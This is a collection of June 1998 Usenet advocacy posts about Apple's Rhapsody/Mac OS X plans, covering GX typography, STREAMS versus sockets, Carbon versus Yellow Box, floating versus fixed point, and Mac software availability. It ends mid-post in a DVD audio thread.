> However, there's lots of extra high-end stuff that I'm betting hasn't
> made it into the first version of ATSUI and may never make it it
> unless programmers ask for it.
>
Typical Chicken Little behaviour from Lawson...
http://www.developer.com/calendar/minisites/wwdc98/105futureoftext/tsld013.htm
ATSUI and GX
Same
- Object-based layout model
- Advanced typographic features
- Layout tables in font
Different
- Block-based layout
- Unicode bidirectional algorithm
- In System file
cf also, for example:
http://www.developer.com/calendar/minisites/wwdc98/105futureoftext/tsld019.htm
Best of all, it looks like this is adhering to *standards*.
[yada yada yada]
> One of my goals with GXFCN is to provide complete GUI access to ALL
> aspects of GX typography so that users and developers can see what has
> been left out of ATSUI and request that it be added in if they want
> it.
>
We're still waiting for you to stop talking about it and start delivering.
mmalc.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 5 Jun 1998 17:36:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ngb4c.oqg.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <slrn6nepl9.ea4.sal@panix3.panix.com> <35778C80.594E4E7@nstar.net>
On Fri, 05 Jun 1998 01:13:20 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> [...] I doubt that real percent of techs are more than 2% off
>> from that estimate.
>> Are you suggesting that this is not the case?
>Yes.
So are you saying that the past 25+ years of computer research are a
total failure and that you still need to be very technicaly inclined
to use a computer? Or are you saying that the majority of users become
technicaly inclined after using a computer for a while?
>Those same computers have made 'techs' of many people who previously
>were not. I use 'tech' in the context of your label.
Some. But I doubt many become techs. Just because someone can install
win95 and connect to the internet doesn't mean that they are very
technicaly inclined. It is a pretty easy thing to do right now.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 5 Jun 1998 08:42:29 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l8b1l$gdt$1@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6neppp.ea4.sal@panix3.panix.com> Salvatore Denaro claimed:
> I was under the impress that socket support would be done on top of an
> OpenTransport STREAMs lib in MacOSX and beyond. Is this not the case?
> Is Apple going to dump OT?
The entire issue is moot. I'm hoping to post on Stepwise about it in the
next week.
Maury
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 5 Jun 1998 18:13:06 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net>
On Thu, 04 Jun 1998 22:44:36 -0400, Homer Simpson
:In article <B19C3969-121196@206.165.43.122>, "Lawson English"
:<english@primenet.com> wrote:
:
:The most interesting thing about this whole thing was that over a year ago
:when the purchase was made my perdiction was that Adobe would charge too
:much as a royalty on the product, that was an easy call.
I expected Apple to buy out DPS completely. I didn't expect Adobe to try
to charge an Preposterously Obscene Amount^** for a technology they've dropped
themselves.
:I for one am not impressed with what I have read about this "new" graphics
:engine as it seems to be more of a "band aid" then a real solution. I
:think a better approach would have been to look at GX, Taligent and DPS
:and take the best features of all technologies, those that overlap etc.
:and try to come up with a really well thoughtout library in which
:QuickDraw could live in for legacy purposes however that does not appear
:to be the case.
Well that does seem like what's happening.
:If it helps I was not too pleased with the dropping of STREAMS in favor of
:sockets, another very bad move in my book.
Streams isn't being ''dropped'', it would have to be reprogrammed and
included, as it wasn't in OpenStep.
Explain what it does better than sockets, and why these abilities should be
in a kernel-level interface and not an OO API. {this is not a flame, btw!}
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
** P.O.A.: I have no real idea, but I've heard hints of ten figures. That's
not including the cents column.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 5 Jun 1998 08:50:23 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l8bgf$gdt$3@ns3.vrx.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net>
<see-below-13059822 <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu>
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In <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> Steve Hideg
claimed:
> Except that all the cool new things like KeyChain, Navigation Services,
> NSL, and Crypto are not available in the Yellow Box APIs, and they have no
> plans to move them there. They will only be available to Carbon.
>
> This is what an Apple OS engineer told me at WWDC.
I'd say he spoke out of turn. With the exception of QT the API is being
exposed to YB - it's trivial to do so.
Maury
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 5 Jun 1998 14:48:10 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6l9eha$rl$1@crib.corepower.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <6l8bgf$gdt$3@ns3.vrx.net>
In article <6l8bgf$gdt$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> Steve Hideg
> claimed:
> > Except that all the cool new things like KeyChain, Navigation Services,
> > NSL, and Crypto are not available in the Yellow Box APIs, and they have no
> > plans to move them there. They will only be available to Carbon.
> > This is what an Apple OS engineer told me at WWDC.
> I'd say he spoke out of turn. With the exception of QT the API is being
> exposed to YB - it's trivial to do so.
But how available will they be? i.e., will there be an OO Yellow
API layered on top, or do you just access everything procedurally?
Will they be available cross-platform? Can I use, say, keychains in
Yellow on Windows?
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 5 Jun 1998 18:56:39 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6l9f17$s8m$1@news.spacelab.net>
References: <SCOTT.98Jun4112630@slave.doubleu.com> <B19C5D8F-1A901D@206.165.43.122>
"Lawson English" <english@primenet.com> wrote:
>Scott Hess <scott@doubleu.com> said:
>>But DPS can scale across the distance from 30 feet per pixel down to
>>pixels the size of atoms, without losing precision, and without
>>requiring the programmer to manually scale things. Under a fixed
>>point system, you would have to keep adjusting the quantum, and by
>>that I mean _you_, the programmer, would have to adjust the quantum
>>for all your coordinates.
>
>With floating point, you lose resolution, the larger you make the image.
>Fixed keeps a constant resolution, regardless of the image-size.
Sort of-- it depends on your definitions. One reasonable definition of
"resolution" is the number of significant digits (or bits, in the case of
computer numbers represented in a binary format). The size of the mantissa
in a floating point format is constant-- all digits are significant.
Fixed point provides a fixed quantum of measurement, and it provides the
maximum number of sig figs when you have numbers near the largest the format
can deal with.
Floating point numbers provide a constant amount of sig figs throughout their
entire range. With a fixed point representation, reducing the scale by a
factor of (for example) 100 means that you've lost ~7 bits worth of
significance.
> This shouldn't be a problem for floats in a real-world situation, but
> when we're talking about atom-sized pixels, the converse is solar
> system-sized ones, and you WILL have problems with resolution at that
> scale.
A floating point representation will provide the same relative precision at
either scale-- (same number of sig figs, same relative error of
representation, etc).
> (of course, you can't even approach that size with fixed,
> but hey...)
There's a crucial concept there....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 5 Jun 1998 14:09:06 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l8u62$8a$2@ns3.vrx.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <6l8bgf$gdt$3@ns3.vrx.net>
<6l9eha$rl$1@crib.corepower.com>
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Cc: nurban@crib.corepower.com
In <6l9eha$rl$1@crib.corepower.com> Nathan Urban claimed:
> But how available will they be? i.e., will there be an OO Yellow
> API layered on top, or do you just access everything procedurally?
> Will they be available cross-platform? Can I use, say, keychains in
> Yellow on Windows?
Sorry, dunno.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 5 Jun 1998 14:08:29 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l8u4t$8a$1@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Cc: NOSPAMmbkennelNOSPAM@yahoo.com
In <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt Kennel
claimed:
> I expected Apple to buy out DPS completely. I didn't expect Adobe to try
> to charge an Preposterously Obscene Amount^** for a technology they've
dropped
> themselves.
Agreed on both counts.
> :engine as it seems to be more of a "band aid" then a real solution. I
> :think a better approach would have been to look at GX, Taligent and DPS
> :and take the best features of all technologies, those that overlap etc.
> :and try to come up with a really well thoughtout library in which
> :QuickDraw could live in for legacy purposes however that does not appear
> :to be the case.
>
> Well that does seem like what's happening.
Yeah, I don't see a lot of missing functionality that can't be placed in
some layer.
> Streams isn't being ''dropped'', it would have to be reprogrammed and
> included, as it wasn't in OpenStep.
This has already been done though, soon after the NeXT purchase the Mentat
people ported over the OpenStep as an experiment. Straight from the horse's
mouth.
> Explain what it does better than sockets
LPI. Try adding IPsec without needing to replace the entire networking
system under Berkeley.
> and why these abilities should be
> in a kernel-level interface and not an OO API.
Throughput, and more importantly, latency. Every trip through to the
kernel is a big cost in terms of round trip time, so if you want to have
something common to all users (even at the top of the stack, like SSL) then
you really need to put the mux/demux in the kernel along with it's driver.
IE, demuxing outside the kernel doesn't work.
Let's consider that SSL example for a moment. Let's say you added a
user-level driver and made it a shared lib - there's many ways to do this
including 4.4BSD's tunnels which would likely be the best way. The problem
is that if three apps are using it, you need three drivers. This isn't a
memory problem (it's shared after all) but since the data is all coming up
from the kernel the driver has to run once for each app, rather than one time
in the kernel and plop that in the output cue to be demuxed out.
So that's why STREAMS is better. The STREAMS LPI (as opposed to it's app
level interface, XTI) interface does for you, lets you hook into the stack on
the kernel side at any level (sockets only lets you into three levels, all
IP-ish, all on the user side) and write such code.
However I'll challenge anyone out there to provide some examples on the Mac
for me. Again, if this were so important, where's the beef?
But the entire point is moot. Forest for the trees. Sigh.
Maury
Date: Fri, 05 Jun 1998 15:32:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-0506981532510001@wil62.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu>
In article <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu>,
Steve.Hideg.1@nd.edu (Steve Hideg) wrote:
> In article <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > Here's a little exercise for you: spend some time writing a major app
> > in Carbon. Spend more time writing that same app in Yellow. With all
> > the spare time you have left, add lots of new features to the Yellow
> > version to boot.
> >
> > People who think that cross-platform is the only advantage of Yellow
> > over Carbon are clueless, and are very likely not developers -- or at
> > least have never used the Yellow APIs.
>
> Except that all the cool new things like KeyChain, Navigation Services,
> NSL, and Crypto are not available in the Yellow Box APIs, and they have no
> plans to move them there. They will only be available to Carbon.
>
> This is what an Apple OS engineer told me at WWDC.
Sounds strange.
While Mac OS X will treat Carbon and YB APIs equally, it doesn't make
sense to keep two sets of APIs for ever. First, YB is cross-platform while
Carbon is not (at least not currently). Second, even if they offered
equivalent funcionality, there's an additional cost to supporting two sets
of APIs. Finally, the tools for YB are way superior to the tools for the
Mac toolbox (ala Carbon).
I fully expect that Carbon will disappear some day, although it would
probably take at least 5 years.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: tj@oro.net (Thomas Ferreira)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Any chance OPENSTEP for Mach on G3?
Date: 5 Jun 1998 19:45:36 GMT
Organization: oronet, Penn Valley, C
Message-ID: <tj-0506981247460001@i388.oro.net>
References: <6l9gma$shl$1@nntp.Stanford.EDU>
There may be some hope on this issue.
Visit the following web page:
http://www.lismoresoft.com
Lismore Software is making a high speed application/emulator for any
PowerPC Mac that will run many OS's including OPENSTEP; and they say at
super high speeds..
If this product makes the shelves, then you can in effect get a high speed
Power PC system to run OPENSTEP.
TJ Ferreira
@Society Magazine Newsletter
"an printed NeXTish newsletter"
http://www.oro.net/~tj
In article <6l9gma$shl$1@nntp.Stanford.EDU>, zalta@mally.Stanford.EDU
(Edward N. Zalta) wrote:
> Are there other people out there, like myself, who prefer the OPENSTEP
> GUI to the Mac, and who run such programs as:
> LaTeX/TeX/TeXView.app, Mathematica, Emacs frontend, NXHosting on
> networked NeXTSTEP/OPENSTEP boxes, sendmail, Apache httpd,
> perl, elm, pine, dvips, lynx (ncurses), glimpse, wwwstat, wusage,
> pgp, shell scripts, shell scripts which call nidump and niload in
> Netinfo, CubX/Netscape from another server, NeXTmail, Librarian,
> NewsFlash, GifOMatic,GatorFTP, Fiend, OpenWrite, WriteUp, and
> OmniWeb.
> I use these apps (among others) all the time on my NeXT Color Turbo
> (with 128MB RAM). I would like to get a faster machine, based on
> Motorola G3 technology, that has these features of OPENSTEP and
> preserves the GUI. Are there enough of us out there to organize a
> campaign, or is that absolutely positively dead in the water?
> This is not an incitement to flame. Only a query.
> Ed
>
> --
> Edward N. Zalta
> Senior Research Scholar,
> Center for the Study of Language and Information
> Consulting Associate Professor,
> Department of Philosophy
> Stanford University
> Home Page URL = http://mally.stanford.edu/zalta.html
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Fri, 05 Jun 1998 19:58:59 GMT
Organization: Videotron Communications Ltd.
Message-ID: <35784cb5.14321030@news.prosurfr.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l17j1$rbq$3@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> MACGHOD
>claimed:
>> 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
>> now, ONLY %20 do.
> *coff*. I don't believe there has ever been a point in time where more
>than 30% of developers wrote software for the Mac, and in fact the vast
>majority of software development until recently was one-off custom solutions,
>as likely to be on a mainframe as a PC. Sorry, I don't believe that number
>for an instant.
If you count only boxed software, and include games, X years ago most
game programs had an IBM PC version, a Mac version, an Atari ST
version, and an Amiga version; many productivity programs had a Mac
version in addition to an IBM PC version, and there were a few
productivity programs written specifically for the Amiga and the Atari
ST, in addition to many for the Mac.
I could be wrong on this, but I think that writing programs for an
Amiga or an Atari ST, despite their GUIs, was more like writing a DOS
program for the PC than like writing a program for either the Mac or
Microsoft Windows.
When the writer said "developers", he meant people developing
mass-market microcomputer software only.
John Savard
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 5 Jun 98 11:27:48
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun5112748@slave.doubleu.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net>
<slrn6neppp.ea4.sal@panix3.panix.com>
<RVerlinde-ya02408000R0506981027250001@news.bart.nl>
<jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
In-reply-to: jayfar@netaxs.com's message of Fri, 05 Jun 1998 08:51:44 -0400
In article <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>,
jayfar@netaxs.com (Jayfar) writes:
Apparently the OT engineers strongly favor STREAMS,
Well, that _should_ be an obvious bias. Though I'm from a BSD socket
background, I think it would be nice to have STREAMS, too.
but "senior management" chooses to Think different.
The problem, here, is that the new core of the system is not currently
setup to run STREAMS. It's less a consideration of whether it would
be _possible_, so much as whether they can realistically reengineer
things to do it in the next year. Even with their OT experience, they
would essentially be starting from ground zero on a new
implementation.
I need to emphasize that. It's not a question of using the current OT
STREAMS implementation versus the BSD4.4 sockets implementation. It's
a question of using the BSD4.4 sockets implementation versus writing a
new STREAMS implementation on a BSD4.4 substrate.
[On a humorous note, some of the biggest complaints about this that I
heard at WWDC were from vendors who already have Windows ports of
their clients - and thus presumably already have a more-or-less
sockets compatible module somewhere in their code,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 5 Jun 1998 14:59:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19DB822-EA73@206.165.43.51>
References: <6l8u4t$8a$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>> :think a better approach would have been to look at GX, Taligent and DPS
>> :and take the best features of all technologies, those that overlap etc.
>> :and try to come up with a really well thoughtout library in which
>> :QuickDraw could live in for legacy purposes however that does not
appear
>> :to be the case.
>>
>> Well that does seem like what's happening.
>
> Yeah, I don't see a lot of missing functionality that can't be placed in
>some layer.
The biggest worry is the print architecture. In addition to allowing
WYSIWYG pre-press, GX also allowed printer manufactuers to inform the
end-user of special features of specific printers and gave them complete
control of said features from within the standard GX printing dialog box.
What little has been published about the Carbon printing architecture
doesn't suggest that it is very extensible.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 5 Jun 1998 16:53:38 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l97qi$6ue$2@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com>
<RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
<SCOTT.98Jun5112748@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: scott@doubleu.com
In <SCOTT.98Jun5112748@slave.doubleu.com> Scott Hess claimed:
> The problem, here, is that the new core of the system is not currently
> setup to run STREAMS.
Actually it is, the OpenGroup has/had am implementations, Mentat's already
done a trial port to OS (I assume 4.2) and DEC uses MPS for networking under
their OSF/1 (although I'm not sure what version that is of the OSF stuff -
there's a LOT of OSF/1's).
> things to do it in the next year. Even with their OT experience, they
> would essentially be starting from ground zero on a new
> implementation.
But an implementation that's *much* easier - after all, the OT effort was
mainly one to provide Unix-a-like services under an OS without them and then
provide a async interface to avoid that crufty side of the OS. Porting to
OSF is pretty much a recompile.
> I need to emphasize that. It's not a question of using the current OT
> STREAMS implementation versus the BSD4.4 sockets implementation. It's
> a question of using the BSD4.4 sockets implementation versus writing a
> new STREAMS implementation on a BSD4.4 substrate.
Ummm, isn't it a sockets-over-STREAMS vs. STREAMS-over-sockets issue? Or
when you refer to the BSD substrate you mean the "OS" itself. If it's the
later keep in mind that it's NOT a BSD OS, but a Mach OS, and it's already
supporting MPS based STREAMS as we speak.
> [On a humorous note, some of the biggest complaints about this that I
> heard at WWDC were from vendors who already have Windows ports of
> their clients - and thus presumably already have a more-or-less
> sockets compatible module somewhere in their code,]
Exactly. Particularily annoying was the fact that most of those people
were *application* developers who would be completely uneffected by this
change. As my boss put it "what are they upset about, that their half of the
ifdef will be removed?".
Of course it's still all moot.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: 5 Jun 1998 17:32:49 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l9a41$6ue$3@ns3.vrx.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
<simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu>
Mime-Version: 1.0
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Cc: Jim.Matthews@dartmouth.edu
In <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> Jim Matthews
claimed:
> 1) Extensibility. There are well-understood, platform-independent
> mechanisms for adding system-level services, such as new protocol stacks,
> transparent firewall support, virtual private networks, porn filters,
> session traces, etc. Apple promises to invent their own mechanism for
> extending BSD networking to support these services, but the mechanism will
> by necessity be proprietary to Apple.
Unless of course you use tunnels. Not a prefect or whole solution surely,
but some form of one just as surely.
> 2) Compatibility. STREAMS is the networking architecture for Digital UNIX
> and Solaris, as well as Open Transport.
Sure, but Berkeley is the networking architecture for all of the BSD
efforts out there, which adds up to a number that's likely larger than
anything other than Solaris.
> 1) It's free (except for all the work that will need to be done to make it
> extensible, and support OT APIs).
>
> 2) It's in Rhapsody now.
You miss many...
3) it's API is by far the most used and supported. This means the majority
of networking developers are very familiar with it which means potential
porting is *easier*. The difference is that there are some Mac developers
not familiar with it, vs. the MASSIVE numbers of Unix and Windows developers
that are.
4) WinSOCK is enough alike Sockets that again the porting issue it that much
easier. Yes I know that is an API issue, but if developers are going to use
that API there's no overriding reason to mess with it
5) Sockets is is increadibly stable and secure, the result of massive testing
on millions of systems for over a decade.
These are not trivial reasons.
> from). Apple may not be able to put STREAMS into Mac OS X, but hopefully
> they will commit to doing that eventually, rather than straining to create
> a proprietary architecture.
Neither is needed, there is already a solution. People appear to be
looking too closely at the issue and missing the fact that there are possible
external solutions.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 5 Jun 1998 17:40:30 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l9aie$6ue$4@ns3.vrx.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l17j1$rbq$3@ns3.vrx.net>
<35784cb5.14321030@news.prosurfr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jsavard@tenMAPSONeerf.edmonton.ab.ca
In <35784cb5.14321030@news.prosurfr.com> John Savard claimed:
> If you count only boxed software, and include games, X years ago most
> game programs had an IBM PC version, a Mac version, an Atari ST
> version, and an Amiga version;
Having owned all of them other than ther Amiga, I still have to disagree.
In fact I'd say that games were one of a very few potential packages that
tended to be available on more than one of them at a time.
> many productivity programs had a Mac
> version in addition to an IBM PC version
Not at all, in fact quite the opposite. Consider all the biggies on the
Mac and the PC and I can find VERY few examples. Let see...
Mac PC
Word nope
poor WP WP
Excel nope
nope 123
nope dBase (although one did come out briefly by the time db was dead)
PowrP nope
WingZ nope
nope Quatro
nope Corel
any grpx nope
> I could be wrong on this, but I think that writing programs for an
> Amiga or an Atari ST, despite their GUIs, was more like writing a DOS
> program for the PC than like writing a program for either the Mac or
> Microsoft Windows.
Absoltuely. It was most similar to Win3.1 on the ST anyway.
> When the writer said "developers", he meant people developing
> mass-market microcomputer software only.
Even then, the VAST majority of those examples of cross platform software
are from companies that started with Mac versions and moved over to windows.
This would include Aldus, Adobe, MacroMedia and Microsoft. None of the big
PC houses other than MS _ever_ supported the Mac in any real fashion,
although several made half-hearted stabs at it before giving up (Aston-Tate,
Borland, Lotus, etc.). Maybe I'll give Lotus some marks, and Corel more
recently, but that's about it.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 5 Jun 1998 08:26:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19D5C00-32C09@206.165.43.184>
References: <SCOTT.98Jun4235210@slave.doubleu.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Hess <scott@doubleu.com> said:
>Huh? So with a fixed point system, say I have a 30-foot square image
>and can just barely revolve the atoms. So if I try to describe a
>30,000-foot square image, I can still resolve the atoms? I think not.
No, fixed doesn't allow you to go past 1/72" x 32000 pixels, regardless,
but anywhere in that range, it will keep the same resolution.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 5 Jun 1998 16:24:30 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6l963u$ps3$1@new-news.cc.brandeis.edu>
References: <atlauren-0306981238320001@jungleland.acs.uci.edu> <6l6hdj$mp2$1@new-news.cc.brandeis.edu> <justincsNOSPAM-0506980020570001@ip185.pontiac.mi.pub-ip.psi.net>
In article <justincsNOSPAM-0506980020570001@ip185.pontiac.mi.pub-ip.psi.net> justincsNOSPAM@psi.net (Justin Case) writes:
>In article <6l6hdj$mp2$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
>(Nathan G. Raymond) wrote:
>
>[snip]
>
>> DVD downs - recorders not standardized, audio not standardized, surround
>> field not standarized, more expensive than VHS
>>
>> DVD ups - movies cheaper than Laserdisc (needs a TV good enough to display
>> that quality)
>>
>> DTS <http://www.dtstech.com/> and Dolby AC-3
>> <http://www.atsc.org/document.html> are NOTHING MORE than lossy-compressed
>> audio (like MPEG audio and Sony's ATRAC) in a multi-channel bitstream.
>> You'll never hear videophiles talk about the lossy sound compression in
>> DVD, but for years audiophiles balked at ATRAC in MD and MPEG audio in
>> DCC.
>>
>> Ambisonics <http://www.york.ac.uk/inst/mustech/3d_audio/ambsfaq.htm> can
>> be encoded in stereo or a multi-channel bitstream like DTS or AC-3, but
>> there isn't any push and consumers don't know a damn thing about audio
